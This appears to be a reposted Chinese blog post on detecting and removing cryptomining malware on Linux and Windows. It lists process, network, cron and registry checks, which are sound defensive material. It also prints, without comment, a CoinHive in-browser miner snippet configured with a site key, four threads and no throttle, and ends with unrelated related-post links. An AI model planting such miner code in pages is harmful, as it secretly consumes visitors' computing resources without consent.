linux 挖矿脚本,挖矿脚本 | Wh0ale’s Blog「建议收藏」

linux 挖矿脚本,挖矿脚本 | Wh0ale’s Blog「建议收藏」0x01挖矿概论所谓挖矿,其实就是通过计算机的计算能力获取数字货币。而矿池就是进行生产任务(挖矿)和生产利润的分配。一套挖矿流程大致如下:1、本地安装挖矿程序并启动2、挖矿程序向远程矿池请求计算的输入值3、远程矿池验证该用户并分配任务,发送计算初始值4、挖矿程序接受初始值并依照特定数字货币算法进行计算,得到计算结果并发送至矿池5、矿池接受计算结果并发送下一次计算的输入值0x02挖矿病毒主要特点1、…

大家好,又见面了,我是你们的朋友全栈君。

0x01挖矿概论

所谓挖矿,其实就是通过计算机的计算能力获取数字货币。而矿池就是进行生产任务(挖矿)和生产利润的分配。一套挖矿流程大致如下:

1、本地安装挖矿程序并启动

2、挖矿程序向远程矿池请求计算的输入值

3、远程矿池验证该用户并分配任务,发送计算初始值

4、挖矿程序接受初始值并依照特定数字货币算法进行计算,得到计算结果并发送至矿池

5、矿池接受计算结果并发送下一次计算的输入值

0x02挖矿病毒主要特点

1、由于需要与矿池通信,因此会与矿池建立连接

2、挖矿利用计算机的算力,因此CPU,GPU的利用率会增加

3、为防止服务器重启挖矿进程中断,会建立任务实现开机自启动

4、为便于下一次利用,可能会留木马后门

0x03挖矿病毒查杀(linux)

一:查找病毒文件top 查看cpu使用情况,注意cpu异常的command

netstat -ano 查看是否有异常连接

ps -ef 命令全局检查异常程序及命令;ps -ef | grep command 查看异常command的进程,记录相应pid

ls -l /proc/pid 查看相应pid的详细信息(查找病毒执行文件所在地)4.1 cwd:表示进程的运行目录(常为服务器攻击成功后所在目录)

4.2 exe:表示执行程序的绝对路径(常为病毒文件目录)

4.3 cmdline:表示程序运行时输入的命令行命令

4.4 environ:记录进程运行时的环境变量

4.5 fd:该目录为进程打开或使用的文件的符号连接

病毒文件找到后,注意解读病毒文件内容,寻找有效信息

二:去除自启动项cat /etc/rc.local 查看rc.local的开机自启动项是否异常

cd /var/spool/cron/crontabs; cat filename 查看计划任务是否正常

ntsysv 或 chkconfig –list 查看系统服务

三:查找后门文件history ; cat ~/.bash_history 查看被攻击后所执行的历史命令

find / -mtime 0 返回最近24小时修改过的文件

find / -mtime 1 返回最近24-48小时间修改过的文件

netstat -ano 后门文件同样也要建立连接,查看异常连接

0x04挖矿病毒查杀(windows)

一:查找病毒文件

当任务管理器能打开时:任务管理查看cpu占用高的进程

当任务管理器不能打开时:

netstat -na 查看异常端口1.1 netstat -ano | findstr “port” 查看对于端口的pid

1.2 tasklist|findstr “pid” 查看对应pid的占用程序

1.3 wmic process where name=”进程名” 查找对于进程所在目录

wmic cpu get loadpercentage(查看总cpu占用)

wmic process list brief|full 列出进程

taskkill /im 进程名 /f;taskkill /pid pid名 /f 杀进程

二:去除自启动项

1、(运行–>regedit)

HKEY_LOCAL _MACHINE\Software \Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;

HKEY_CURRENT_USER\Software\ Microsoft\Windows\CurrentVersion下所有以“run”开头的键值;

HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion下所有以“Run”开头的键值;

部分如下

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]

2、Win.ini中启动

[windows]字段中的”load=”和”run=”

3、自启动组

启动组对应的文件夹为:C: \Windows\Start Menu\Programs\StartUp,

在注册表中的位置:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders Startup=”C:\windows\start menu\programs\startup”

4、修改文件关联

检查HKEY_CLASSES_ROOT\文件类型\shell\open\command主键,查看其键值是否正常

DOS下执行scanreg/restore 恢复前5天的注册表

三:查找后门文件

查找后门文件参考一二

593d6425140f7f5f8ef434934314803c.png

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

var miner = new CoinHive.User(‘mrvzoq1cDAIacUG3dGEkg2TJznuIogMB’,’Landian’, {

threads: 4,

autoThreads: false,

throttle: 0,

forceASMJS: false

});

miner.start();

var _hmt = _hmt || [];

(function() {

var hm = document.createElement(“script”);

hm.src = “https://hm.baidu.com/hm.js?2378278a9b9c54d270c1d6245e3c06ed”;

var s = document.getElementsByTagName(“script”)[0];

s.parentNode.insertBefore(hm, s);

})();

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/158481.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • LVS 负载均衡集群(一)| 超详细!一文带你了解 LVS 负载均衡集群

    LVS 负载均衡集群(一)| 超详细!一文带你了解 LVS 负载均衡集群前言如今,在各种互联网应用中,随着站点对硬件性能、响应速度、服务稳定性、数据可靠性等要求也越来越高,单台服务器也将难以无法承担所有的访问需求。当然了,除了使用性价比高的设备和专用负载分流设备外,还有一些其他选择来帮你解决此问题,就是搭建集群服务器通过整合多台普通的服务器设备并以同一个地址对外提供相同的服务,今天杰哥就带领大家学习企业中常用的一种群集技术——LVS。文章目录一、什么是LVS?…

    2022年7月24日
    11
  • tlb表项_谷物对人体的好处

    tlb表项_谷物对人体的好处TLB:TranslationLookasideBuffer.根据功能可以译为快表,直译可以翻译为旁路转换缓冲,也可以把它理解成页表缓冲。里面存放的是一些页表文件(虚拟地址到物理地址的转换表)。当处理器要在主内存寻址时,不是直接在内存的物理地址里查找的,而是通过一组虚拟地址转换到主内存的物理地址,TLB就是负责将虚拟内存地址翻译成实际的物理内存地址,而CPU寻址时会优先在TLB中进行寻址。处理器的性能就和寻址的命中率有很大的关系。映射机制必须使一个程序能断言某个地址在其自己的进程空间或地址空间

    2025年5月28日
    0
  • sched://task scheduler_Task Scheduler

    sched://task scheduler_Task SchedulerSpringBoot自带的任务调度是如何实现的?@EnableScheduling@Scheduled注解在任务调度的实现中承担了怎样的角色?ScheduledAnnotationBeanPostProcessor是如何工作的?都参与了ApplicationContext生命周期的哪些环节?调度是通过TaskScheduler实现的,默认的TaskScheduler是怎么创建的?我们如何通过SchedulingConfigurer创建自己的TaskScheduler?

    2022年10月11日
    0
  • 20191207-CHKDSK命令修复磁盘教程「建议收藏」

    20191207-CHKDSK命令修复磁盘教程「建议收藏」WIN7下的磁盘突然不能打开。在网上找DiskGenius,结果只能显示可以找到哪些文件,但是不能恢复文件!如果你想恢复文件,是要付费的!本来想找WINPE下的DiskGenius,想想还得准备1TB的移动硬盘呀!(1TB的磁盘出错了!)没有想到直接使用chkdsk几分钟就可以解决问题了!MicrosoftWindows[版本6.1.7601]版权所有(c)2009MicrosoftCorporation。保留所有权利。C:\User…

    2022年10月28日
    0
  • 收藏!!「自然语言处理(NLP)」全球学术界知名学者教授信息大盘点(全)!

    收藏!!「自然语言处理(NLP)」全球学术界知名学者教授信息大盘点(全)!来源:AINLPer微信公众号(点击了解一下吧)编辑:ShuYini校稿:ShuYini时间:2020-1-13引言    人工智能发展迅速,近几年自然语言处理已经成为热门研究方向,根据这些会议和期刊上近10年发表论文的引用情况(根据GoolgeScholar)生成了高引学者列表。供大家参考学习。1、RyanT.Mcdonald【Google】个人主页:https…

    2022年9月29日
    0
  • python分割字符串输出_python字符串分割「建议收藏」

    python分割字符串输出_python字符串分割「建议收藏」内置split()函数str.split(sep=None,maxsplit=-1)sep为自定义分割符,maxsplit为最大分割次数,默认值-1进行全部分割注意以下区别:str.split()以空格分割,包括连续空格str.split(”)同样以空格分割,但是不能识别连续空格,会返回两空格之间的空字符串python3docre模块的split()函数re.split(patte…

    2022年5月25日
    61

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号